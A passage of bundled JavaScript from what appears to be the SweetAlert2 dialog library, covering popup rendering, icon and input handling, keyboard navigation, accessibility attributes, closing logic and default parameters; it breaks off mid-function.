renderInputType.textarea = (textarea, params) => {
checkAndSetInputValue(textarea, params.inputValue);
setInputPlaceholder(textarea, params);
setInputLabel(textarea, textarea, params);
const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
setTimeout(() => {
if ("MutationObserver" in window) {
const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
const textareaResizeHandler = () => {
const textareaWidth = textarea.offsetWidth + getMargin(textarea);
if (textareaWidth > initialPopupWidth) {
getPopup().style.width = `${textareaWidth}px`;
} else {
getPopup().style.width = null;
}
};
new MutationObserver(textareaResizeHandler).observe(textarea, {
attributes: true,
attributeFilter: ["style"]
});
}
});
return textarea;
};
const renderContent = (instance, params) => {
const htmlContainer = getHtmlContainer();
applyCustomClass(htmlContainer, params, "htmlContainer");
if (params.html) {
parseHtmlToContainer(params.html, htmlContainer);
show(htmlContainer, "block");
} else if (params.text) {
htmlContainer.textContent = params.text;
show(htmlContainer, "block");
} else {
hide(htmlContainer);
}
renderInput(instance, params);
};
const renderFooter = (instance, params) => {
const footer = getFooter();
toggle(footer, params.footer);
if (params.footer) {
parseHtmlToContainer(params.footer, footer);
}
applyCustomClass(footer, params, "footer");
};
const renderIcon = (instance, params) => {
const innerParams = privateProps.innerParams.get(instance);
const icon = getIcon();
if (innerParams && params.icon === innerParams.icon) {
setContent(icon, params);
applyStyles(icon, params);
return;
}
if (!params.icon && !params.iconHtml) {
hide(icon);
return;
}
if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
hide(icon);
return;
}
show(icon);
setContent(icon, params);
applyStyles(icon, params);
addClass(icon, params.showClass.icon);
};
const applyStyles = (icon, params) => {
for (const iconType in iconTypes) {
if (params.icon !== iconType) {
removeClass(icon, iconTypes[iconType]);
}
}
addClass(icon, iconTypes[params.icon]);
setColor(icon, params);
adjustSuccessIconBackgroundColor();
applyCustomClass(icon, params, "icon");
};
const adjustSuccessIconBackgroundColor = () => {
const popup = getPopup();
const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
for (let i = 0; i < successIconParts.length; i++) {
successIconParts[i].style.backgroundColor = popupBackgroundColor;
}
};
const successIconHtml = `
<div class="swal2-success-circular-line-left"></div>
<span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
<div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
<div class="swal2-success-circular-line-right"></div>
`;
const errorIconHtml = `
<span class="swal2-x-mark">
<span class="swal2-x-mark-line-left"></span>
<span class="swal2-x-mark-line-right"></span>
</span>
`;
const setContent = (icon, params) => {
let oldContent = icon.innerHTML;
let newContent;
if (params.iconHtml) {
newContent = iconContent(params.iconHtml);
} else if (params.icon === "success") {
newContent = successIconHtml;
oldContent = oldContent.replace(/ style=".*?"/g, "");
} else if (params.icon === "error") {
newContent = errorIconHtml;
} else {
const defaultIconHtml = {
question: "?",
warning: "!",
info: "i"
};
newContent = iconContent(defaultIconHtml[params.icon]);
}
if (oldContent.trim() !== newContent.trim()) {
setInnerHtml(icon, newContent);
}
};
const setColor = (icon, params) => {
if (!params.iconColor) {
return;
}
icon.style.color = params.iconColor;
icon.style.borderColor = params.iconColor;
for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
setStyle(icon, sel, "backgroundColor", params.iconColor);
}
setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
};
const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
const renderImage = (instance, params) => {
const image = getImage();
if (!params.imageUrl) {
hide(image);
return;
}
show(image, "");
image.setAttribute("src", params.imageUrl);
image.setAttribute("alt", params.imageAlt);
applyNumericalStyle(image, "width", params.imageWidth);
applyNumericalStyle(image, "height", params.imageHeight);
image.className = swalClasses.image;
applyCustomClass(image, params, "image");
};
const renderPopup = (instance, params) => {
const container = getContainer();
const popup = getPopup();
if (params.toast) {
applyNumericalStyle(container, "width", params.width);
popup.style.width = "100%";
popup.insertBefore(getLoader(), getIcon());
} else {
applyNumericalStyle(popup, "width", params.width);
}
applyNumericalStyle(popup, "padding", params.padding);
if (params.color) {
popup.style.color = params.color;
}
if (params.background) {
popup.style.background = params.background;
}
hide(getValidationMessage());
addClasses$1(popup, params);
};
const addClasses$1 = (popup, params) => {
popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
if (params.toast) {
addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
addClass(popup, swalClasses.toast);
} else {
addClass(popup, swalClasses.modal);
}
applyCustomClass(popup, params, "popup");
if (typeof params.customClass === "string") {
addClass(popup, params.customClass);
}
if (params.icon) {
addClass(popup, swalClasses[`icon-${params.icon}`]);
}
};
const renderProgressSteps = (instance, params) => {
const progressStepsContainer = getProgressSteps();
if (!params.progressSteps || params.progressSteps.length === 0) {
hide(progressStepsContainer);
return;
}
show(progressStepsContainer);
progressStepsContainer.textContent = "";
if (params.currentProgressStep >= params.progressSteps.length) {
warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
}
params.progressSteps.forEach((step, index) => {
const stepEl = createStepElement(step);
progressStepsContainer.appendChild(stepEl);
if (index === params.currentProgressStep) {
addClass(stepEl, swalClasses["active-progress-step"]);
}
if (index !== params.progressSteps.length - 1) {
const lineEl = createLineElement(params);
progressStepsContainer.appendChild(lineEl);
}
});
};
const createStepElement = (step) => {
const stepEl = document.createElement("li");
addClass(stepEl, swalClasses["progress-step"]);
setInnerHtml(stepEl, step);
return stepEl;
};
const createLineElement = (params) => {
const lineEl = document.createElement("li");
addClass(lineEl, swalClasses["progress-step-line"]);
if (params.progressStepsDistance) {
applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
}
return lineEl;
};
const renderTitle = (instance, params) => {
const title = getTitle();
toggle(title, params.title || params.titleText, "block");
if (params.title) {
parseHtmlToContainer(params.title, title);
}
if (params.titleText) {
title.innerText = params.titleText;
}
applyCustomClass(title, params, "title");
};
const render = (instance, params) => {
renderPopup(instance, params);
renderContainer(instance, params);
renderProgressSteps(instance, params);
renderIcon(instance, params);
renderImage(instance, params);
renderTitle(instance, params);
renderCloseButton(instance, params);
renderContent(instance, params);
renderActions(instance, params);
renderFooter(instance, params);
if (typeof params.didRender === "function") {
params.didRender(getPopup());
}
};
function hideLoading() {
const innerParams = privateProps.innerParams.get(this);
if (!innerParams) {
return;
}
const domCache = privateProps.domCache.get(this);
hide(domCache.loader);
if (isToast()) {
if (innerParams.icon) {
show(getIcon());
}
} else {
showRelatedButton(domCache);
}
removeClass([domCache.popup, domCache.actions], swalClasses.loading);
domCache.popup.removeAttribute("aria-busy");
domCache.popup.removeAttribute("data-loading");
domCache.confirmButton.disabled = false;
domCache.denyButton.disabled = false;
domCache.cancelButton.disabled = false;
}
const showRelatedButton = (domCache) => {
const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
if (buttonToReplace.length) {
show(buttonToReplace[0], "inline-block");
} else if (allButtonsAreHidden()) {
hide(domCache.actions);
}
};
function getInput(instance) {
const innerParams = privateProps.innerParams.get(instance || this);
const domCache = privateProps.domCache.get(instance || this);
if (!domCache) {
return null;
}
return getInput$1(domCache.popup, innerParams.input);
}
const isVisible = () => {
return isVisible$1(getPopup());
};
const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
const clickDeny = () => getDenyButton() && getDenyButton().click();
const clickCancel = () => getCancelButton() && getCancelButton().click();
const DismissReason = Object.freeze({
cancel: "cancel",
backdrop: "backdrop",
close: "close",
esc: "esc",
timer: "timer"
});
const removeKeydownHandler = (globalState2) => {
if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
capture: globalState2.keydownListenerCapture
});
globalState2.keydownHandlerAdded = false;
}
};
const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
removeKeydownHandler(globalState2);
if (!innerParams.toast) {
globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
capture: globalState2.keydownListenerCapture
});
globalState2.keydownHandlerAdded = true;
}
};
const setFocus = (index, increment) => {
const focusableElements = getFocusableElements();
if (focusableElements.length) {
index = index + increment;
if (index === focusableElements.length) {
index = 0;
} else if (index === -1) {
index = focusableElements.length - 1;
}
focusableElements[index].focus();
return;
}
getPopup().focus();
};
const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
const keydownHandler = (instance, event, dismissWith) => {
const innerParams = privateProps.innerParams.get(instance);
if (!innerParams) {
return;
}
if (event.isComposing || event.keyCode === 229) {
return;
}
if (innerParams.stopKeydownPropagation) {
event.stopPropagation();
}
if (event.key === "Enter") {
handleEnter(instance, event, innerParams);
} else if (event.key === "Tab") {
handleTab(event);
} else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
handleArrows(event.key);
} else if (event.key === "Escape") {
handleEsc(event, innerParams, dismissWith);
}
};
const handleEnter = (instance, event, innerParams) => {
if (!callIfFunction(innerParams.allowEnterKey)) {
return;
}
if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
if (["textarea", "file"].includes(innerParams.input)) {
return;
}
clickConfirm();
event.preventDefault();
}
};
const handleTab = (event) => {
const targetElement = event.target;
const focusableElements = getFocusableElements();
let btnIndex = -1;
for (let i = 0; i < focusableElements.length; i++) {
if (targetElement === focusableElements[i]) {
btnIndex = i;
break;
}
}
if (!event.shiftKey) {
setFocus(btnIndex, 1);
} else {
setFocus(btnIndex, -1);
}
event.stopPropagation();
event.preventDefault();
};
const handleArrows = (key) => {
const confirmButton = getConfirmButton();
const denyButton = getDenyButton();
const cancelButton = getCancelButton();
if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
return;
}
const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
let buttonToFocus = document.activeElement;
for (let i = 0; i < getActions().children.length; i++) {
buttonToFocus = buttonToFocus[sibling];
if (!buttonToFocus) {
return;
}
if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
break;
}
}
if (buttonToFocus instanceof HTMLButtonElement) {
buttonToFocus.focus();
}
};
const handleEsc = (event, innerParams, dismissWith) => {
if (callIfFunction(innerParams.allowEscapeKey)) {
event.preventDefault();
dismissWith(DismissReason.esc);
}
};
var privateMethods = {
swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
swalPromiseReject: /* @__PURE__ */ new WeakMap()
};
const setAriaHidden = () => {
const bodyChildren = Array.from(document.body.children);
bodyChildren.forEach((el) => {
if (el === getContainer() || el.contains(getContainer())) {
return;
}
if (el.hasAttribute("aria-hidden")) {
el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
}
el.setAttribute("aria-hidden", "true");
});
};
const unsetAriaHidden = () => {
const bodyChildren = Array.from(document.body.children);
bodyChildren.forEach((el) => {
if (el.hasAttribute("data-previous-aria-hidden")) {
el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
el.removeAttribute("data-previous-aria-hidden");
} else {
el.removeAttribute("aria-hidden");
}
});
};
const iOSfix = () => {
const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
const offset = document.body.scrollTop;
document.body.style.top = `${offset * -1}px`;
addClass(document.body, swalClasses.iosfix);
lockBodyScroll();
addBottomPaddingForTallPopups();
}
};
const addBottomPaddingForTallPopups = () => {
const ua = navigator.userAgent;
const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
const webkit = !!ua.match(/WebKit/i);
const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
if (iOSSafari) {
const bottomPanelHeight = 44;
if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
}
}
};
const lockBodyScroll = () => {
const container = getContainer();
let preventTouchMove;
container.ontouchstart = (event) => {
preventTouchMove = shouldPreventTouchMove(event);
};
container.ontouchmove = (event) => {
if (preventTouchMove) {
event.preventDefault();
event.stopPropagation();
}
};
};
const shouldPreventTouchMove = (event) => {
const target = event.target;
const container = getContainer();
if (isStylus(event) || isZoom(event)) {
return false;
}
if (target === container) {
return true;
}
if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
return true;
}
return false;
};
const isStylus = (event) => {
return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
};
const isZoom = (event) => {
return event.touches && event.touches.length > 1;
};
const undoIOSfix = () => {
if (hasClass(document.body, swalClasses.iosfix)) {
const offset = parseInt(document.body.style.top, 10);
removeClass(document.body, swalClasses.iosfix);
document.body.style.top = "";
document.body.scrollTop = offset * -1;
}
};
const fixScrollbar = () => {
if (states.previousBodyPadding !== null) {
return;
}
if (document.body.scrollHeight > window.innerHeight) {
states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
}
};
const undoScrollbar = () => {
if (states.previousBodyPadding !== null) {
document.body.style.paddingRight = `${states.previousBodyPadding}px`;
states.previousBodyPadding = null;
}
};
function removePopupAndResetState(instance, container, returnFocus, didClose) {
if (isToast()) {
triggerDidCloseAndDispose(instance, didClose);
} else {
restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
removeKeydownHandler(globalState);
}
const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
if (isSafari) {
container.setAttribute("style", "display:none !important");
container.removeAttribute("class");
container.innerHTML = "";
} else {
container.remove();
}
if (isModal()) {
undoScrollbar();
undoIOSfix();
unsetAriaHidden();
}
removeBodyClasses();
}
function removeBodyClasses() {
removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
}
function close(resolveValue) {
resolveValue = prepareResolveValue(resolveValue);
const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
const didClose = triggerClosePopup(this);
if (this.isAwaitingPromise()) {
if (!resolveValue.isDismissed) {
handleAwaitingPromise(this);
swalPromiseResolve(resolveValue);
}
} else if (didClose) {
swalPromiseResolve(resolveValue);
}
}
function isAwaitingPromise() {
return !!privateProps.awaitingPromise.get(this);
}
const triggerClosePopup = (instance) => {
const popup = getPopup();
if (!popup) {
return false;
}
const innerParams = privateProps.innerParams.get(instance);
if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
return false;
}
removeClass(popup, innerParams.showClass.popup);
addClass(popup, innerParams.hideClass.popup);
const backdrop = getContainer();
removeClass(backdrop, innerParams.showClass.backdrop);
addClass(backdrop, innerParams.hideClass.backdrop);
handlePopupAnimation(instance, popup, innerParams);
return true;
};
function rejectPromise(error2) {
const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
handleAwaitingPromise(this);
if (rejectPromise2) {
rejectPromise2(error2);
}
}
const handleAwaitingPromise = (instance) => {
if (instance.isAwaitingPromise()) {
privateProps.awaitingPromise.delete(instance);
if (!privateProps.innerParams.get(instance)) {
instance._destroy();
}
}
};
const prepareResolveValue = (resolveValue) => {
if (typeof resolveValue === "undefined") {
return {
isConfirmed: false,
isDenied: false,
isDismissed: true
};
}
return Object.assign({
isConfirmed: false,
isDenied: false,
isDismissed: false
}, resolveValue);
};
const handlePopupAnimation = (instance, popup, innerParams) => {
const container = getContainer();
const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
if (typeof innerParams.willClose === "function") {
innerParams.willClose(popup);
}
if (animationIsSupported) {
animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
} else {
removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
}
};
const animatePopup = (instance, popup, container, returnFocus, didClose) => {
globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
popup.addEventListener(animationEndEvent, function(e) {
if (e.target === popup) {
globalState.swalCloseEventFinishedCallback();
delete globalState.swalCloseEventFinishedCallback;
}
});
};
const triggerDidCloseAndDispose = (instance, didClose) => {
setTimeout(() => {
if (typeof didClose === "function") {
didClose.bind(instance.params)();
}
instance._destroy();
});
};
function setButtonsDisabled(instance, buttons, disabled) {
const domCache = privateProps.domCache.get(instance);
buttons.forEach((button) => {
domCache[button].disabled = disabled;
});
}
function setInputDisabled(input, disabled) {
if (!input) {
return;
}
if (input.type === "radio") {
const radiosContainer = input.parentNode.parentNode;
const radios = radiosContainer.querySelectorAll("input");
for (let i = 0; i < radios.length; i++) {
radios[i].disabled = disabled;
}
} else {
input.disabled = disabled;
}
}
function enableButtons() {
setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
}
function disableButtons() {
setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
}
function enableInput() {
setInputDisabled(this.getInput(), false);
}
function disableInput() {
setInputDisabled(this.getInput(), true);
}
function showValidationMessage(error2) {
const domCache = privateProps.domCache.get(this);
const params = privateProps.innerParams.get(this);
setInnerHtml(domCache.validationMessage, error2);
domCache.validationMessage.className = swalClasses["validation-message"];
if (params.customClass && params.customClass.validationMessage) {
addClass(domCache.validationMessage, params.customClass.validationMessage);
}
show(domCache.validationMessage);
const input = this.getInput();
if (input) {
input.setAttribute("aria-invalid", true);
input.setAttribute("aria-describedby", swalClasses["validation-message"]);
focusInput(input);
addClass(input, swalClasses.inputerror);
}
}
function resetValidationMessage() {
const domCache = privateProps.domCache.get(this);
if (domCache.validationMessage) {
hide(domCache.validationMessage);
}
const input = this.getInput();
if (input) {
input.removeAttribute("aria-invalid");
input.removeAttribute("aria-describedby");
removeClass(input, swalClasses.inputerror);
}
}
const defaultParams = {
title: "",
titleText: "",
text: "",
html: "",
footer: "",
icon: void 0,
iconColor: void 0,
iconHtml: void 0,
template: void 0,
toast: false,
showClass: {
popup: "swal2-show",
backdrop: "swal2-backdrop-show",
icon: "swal2-icon-show"
},
hideClass: {
popup: "swal2-hide",
backdrop: "swal2-backdrop-hide",
icon: "swal2-icon-hide"
},
customClass: {},
target: "body",
color: void 0,
backdrop: true,
heightAuto: true,
allowOutsideClick: true,
allowEscapeKey: true,
allowEnterKey: true,
stopKeydownPropagation: true,
keydownListenerCapture: false,
showConfirmButton: true,
showDenyButton: false,
showCancelButton: false,
preConfirm: void 0,
preDeny: void 0,
confirmButtonText: "OK",
confirmButtonAriaLabel: "",
confirmButtonColor: void 0,
denyButtonText: "No",
denyButtonAriaLabel: "",
denyButtonColor: void 0,
cancelButtonText: "Cancel",
cancelButtonAriaLabel: "",
cancelButtonColor: void 0,
buttonsStyling: true,
reverseButtons: false,
focusConfirm: true,
focusDeny: false,
focusCancel: false,
returnFocus: true,
showCloseButton: false,
closeButtonHtml: "×",
closeButtonAriaLabel: "Close this dialog",
loaderHtml: "",
showLoaderOnConfirm: false,
showLoaderOnDeny: false,
imageUrl: void 0,
imageWidth: void 0,
imageHeight: void 0,
imageAlt: "",
timer: void 0,
timerProgressBar: false,
width: void 0,
padding: void 0,
background: void 0,
input: void 0,
inputPlaceholder: "",
inputLabel: "",
inputValue: "",
inputOptions: {},
inputAutoTrim: true,
inputAttributes: {},
inputValidator: void 0,
returnInputValueOnDeny: false,
validationMessage: void 0,
grow: false,
position: "center",
progressSteps: [],
currentProgressStep: void 0,
progressStepsDistance: void 0,
willOpen: void 0,
didOpen: void 0,
didRender: void 0,
willClose: void 0,
didClose: void 0,
didDestroy: void 0,
scrollbarPadding: true
};
const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
const deprecatedParams = {};
const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
const isValidParameter = (paramName) => {
return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
};
const isUpdatableParameter = (paramName) => {
return updatableParams.indexOf(paramName) !== -1;
};
const isDeprecatedParameter = (paramName) => {
return deprecatedParams[paramName];
};
const checkIfParamIsValid = (param) => {
if (!isValidParameter(param)) {
warn(`Unknown parameter "${param}"`);
}
};
const checkIfToastParamIsValid = (param) => {
if (toastIncompatibleParams.includes(param)) {
warn(`The parameter "${param}" is incompatible with toasts`);
}
};
const checkIfParamIsDeprecated = (param) => {
if (isDeprecatedParameter(param)) {
warnAboutDeprecation(param, isDeprecatedParameter(param));
}
};
const showWarningsForParams = (params) => {
if (params.backdrop === false && params.allowOutsideClick) {
warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
}
for (const param in params) {
checkIfParamIsValid(param);
if (params.toast) {
checkIfToastParamIsValid(param);
}
checkIfParamIsDeprecated(param);
}
};
function update(params) {
const popup = getPopup();
const innerParams = privateProps.innerParams.get(this);
if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
return;
}
const validUpdatableParams = filterValidParams(params);
const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
render(this, updatedParams);
privateProps.innerParams.set(this, updatedParams);
Object.defineProperties(this, {
params: {
value: Object.assign({}, this.params, params),
writable: false,
enumerable: true
}
});
}
const filterValidParams = (params) => {
const validUpdatableParams = {};
Object.keys(params).forEach((param) => {
if (isUpdatableParameter(param)) {
validUpdatableParams[param] = params[param];
} else {
warn(`Invalid parameter to update: ${param}`);
}
});
return validUpdatableParams;
};
function _destroy() {
const domCache = privateProps.domCache.get(this);
const innerParams = privateProps.innerParams.get(this);
if (!innerParams) {
disposeWeakMaps(this);
return;
}
if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
globalState.swalCloseEventFinishedCallback();
delete globalState.swalCloseEventFinishedCallback;
}
if (typeof innerParams.didDestroy === "function") {
innerParams.didDestroy();
}
disposeSwal(this);
}
const disposeSwal = (instance) => {
disposeWeakMaps(instance);
delete instance.params;
delete globalState.keydownHandler;
delete globalState.keydownTarget;
delete globalState.currentInstance;
};
const disposeWeakMaps = (instance) => {
if (instance.isAwaitingPromise()) {
unsetWeakMaps(privateProps, instance);
privateProps.awaitingPromise.set(instance, true);
} else {
unsetWeakMaps(privateMethods, instance);
unsetWeakMaps(privateProps, instance);
}
};
const unsetWeakMaps = (obj, instance) => {
for (const i in obj) {
obj[i].delete(instance);
}
};
var instanceMethods = /* @__PURE__ */ Object.freeze({
__proto__: null,
hideLoading,
disableLoading: hideLoading,
getInput,
close,
isAwaitingPromise,
rejectPromise,
handleAwaitingPromise,
closePopup: close,
closeModal: close,
closeToast: close,
enableButtons,
disableButtons,
enableInput,
disableInput,
showValidationMessage,
resetValidationMessage,
update,
_destroy
});
const showLoading = (buttonToReplace) => {
let popup = getPopup();
if (!popup) {
new Swal2();
}
popup = getPopup();
const loader = getLoader();
if (isToast()) {
hide(getIcon());
} else {
replaceButton(popup, buttonToReplace);
}
show(loader);
popup.setAttribute("data-loading", "true");
popup.setAttribute("aria-busy", "true");
popup.focus();
};
const replaceButton = (popup, buttonToReplace) => {
const actions = getActions();
const loader = getLoader();
if (!buttonToReplace && isVisible$1(getConfirmButton())) {
buttonToReplace = getConfirmButton();
}
show(actions);
if (buttonToReplace) {
hide(buttonToReplace);
loader.setAttribute("data-button-to-replace", buttonToReplace.className);
}
loader.parentNode.insertBefore(loader, buttonToReplace);
addClass([popup, actions], swalClasses.loading);
};
const handleInputOptionsAndValue = (instance, params) => {
if (params.input === "select" || params.input === "radio") {
handleInputOptions(instance, params);
} else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
showLoading(getConfirmButton());
handleInputValue(instance, params);
}
};
const getInputValue = (instance, innerParams) => {
const input = instance.getInput();
if (!input) {
return null;
}
switch (innerParams.input) {
case "checkbox":
return getCheckboxValue(input);
case "radio":
return getRadioValue(input);
case "file":
return getFileValue(input);
default:
return innerParams.inputAutoTrim ? input.value.trim() : input.value;
}
};
const getCheckboxValue = (input) => input.checked ? 1 : 0;
const getRadioValue = (input) => input.checked ? input.value : null;
const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
const handleInputOptions = (instance, params) => {
const popup = getPopup();
const processInputOptions = (inputOptions) => {
populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
};
if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
showLoading(getConfirmButton());
asPromise(params.inputOptions).then((inputOptions) => {
instance.hideLoading();
processInputOptions(inputOptions);
});
} else if (typeof params.inputOptions === "object") {
processInputOptions(params.inputOptions);
} else {
error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
}
};
const handleInputValue = (instance, params) => {
const input = instance.getInput();
hide(input);
asPromise(params.inputValue).then((inputValue) => {
input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
show(input);
input.focus();
instance.hideLoading();
}).catch((err) => {
error(`Error in inputValue promise: ${err}`);
input.value = "";
show(input);
input.focus();
instance.hideLoading();
});
};
const populateInputOptions = {
select: (popup, inputOptions, params) => {
const select = getDirectChildByClass(popup, swalClasses.select);
const renderOption = (parent, optionLabel, optionValue) => {
const option = document.createElement("option");
option.value = optionValue;
setInnerHtml(option, optionLabel);
option.selected = isSelected(optionValue, params.inputValue);
parent.appendChild(option);
};
inputOptions.forEach((inputOption) => {
const optionValue = inputOption[0];
const optionLabel = inputOption[1];
if (Array.isArray(optionLabel)) {
const optgroup = document.createElement("optgroup");
optgroup.label = optionValue;
optgroup.disabled = false;
select.appendChild(optgroup);
optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
} else {
renderOption(select, optionLabel, optionValue);
}
});
select.focus();
},
radio: (popup, inputOptions, params) => {
const radio = getDirectChildByClass(popup, swalClasses.radio);
inputOptions.forEach((inputOption) => {
const radioValue = inputOption[0];
const radioLabel = inputOption[1];
const radioInput = document.createElement("input");
const radioLabelElement = document.createElement("label");
radioInput.type = "radio";
radioInput.name = swalClasses.radio;
radioInput.value = radioValue;
if (isSelected(radioValue, params.inputValue)) {
radioInput.checked = true;
}
const label = document.createElement("span");
setInnerHtml(label, radioLabel);
label.className = swalClasses.label;
radioLabelElement.appendChild(radioInput);
radioLabelElement.appendChild(label);
radio.appendChild(radioLabelElement);
});
const radios = radio.querySelectorAll("input");
if (radios.length) {
radios[0].focus();
}
}
};
const formatInputOptions = (inputOptions) => {
const result = [];
if (typeof Map !== "undefined" && inputOptions instanceof Map) {
inputOptions.forEach((value, key) => {
let valueFormatted = value;
if (typeof valueFormatted === "object") {
valueFormatted = formatInputOptions(valueFormatted);
}
result.push([key, valueFormatted]);
});
} else {
Object.keys(inputOptions).forEach((key) => {
let valueFormatted = inputOptions[key];
if (typeof valueFormatted === "object") {
valueFormatted = formatInputOptions(valueFormatted);
}
result.push([key, valueFormatted]);
});
}
return result;
};
const isSelected = (optionValue, inputValue) => {
return inputValue && inputValue.toString() === optionValue.toString();
};
const handleConfirmButtonClick = (instance) => {
const innerParams = privateProps.innerParams.get(instance);
instance.disableButtons();
if (innerParams.input) {
handleConfirmOrDenyWithInput(instance, "confirm");
} else {
confirm(instance, true);
}
};
const handleDenyButtonClick = (instance) => {
const innerParams = privateProps.innerParams.get(instance);
instance.disableButtons();
if (innerParams.returnInputValueOnDeny) {
handleConfirmOrDenyWithInput(instance, "deny");
} else {
deny(instance, false);
}
};
const handleCancelButtonClick = (instance, dismissWith) => {
instance.disableButtons();
dismissWith(DismissReason.cancel);
};
const handleConfirmOrDenyWithInput = (instance, type) => {
const innerParams = privateProps.innerParams.get(instance);
if (!innerParams.input) {
error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
return;
}
const inputValue = getInputValue(instance, innerParams);
if (innerParams.inputValidator) {
handleInputValidator(instance, inputValue, type);
} else if (!instance.getInput().checkValidity()) {
instance.enableButtons();
instance.showValidationMessage(innerParams.validationMessage);
} else if (type === "deny") {
deny(instance, inputValue);
} else {
confirm(instance, inputValue);
}
};
const handleInputValidator = (instance, inputValue, type) => {
const innerParams = privateProps.innerParams.get(instance);
instance.disableInput();
const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
validationPromise.then((validationMessage) => {
instance.enableButtons();
instance.enableInput();
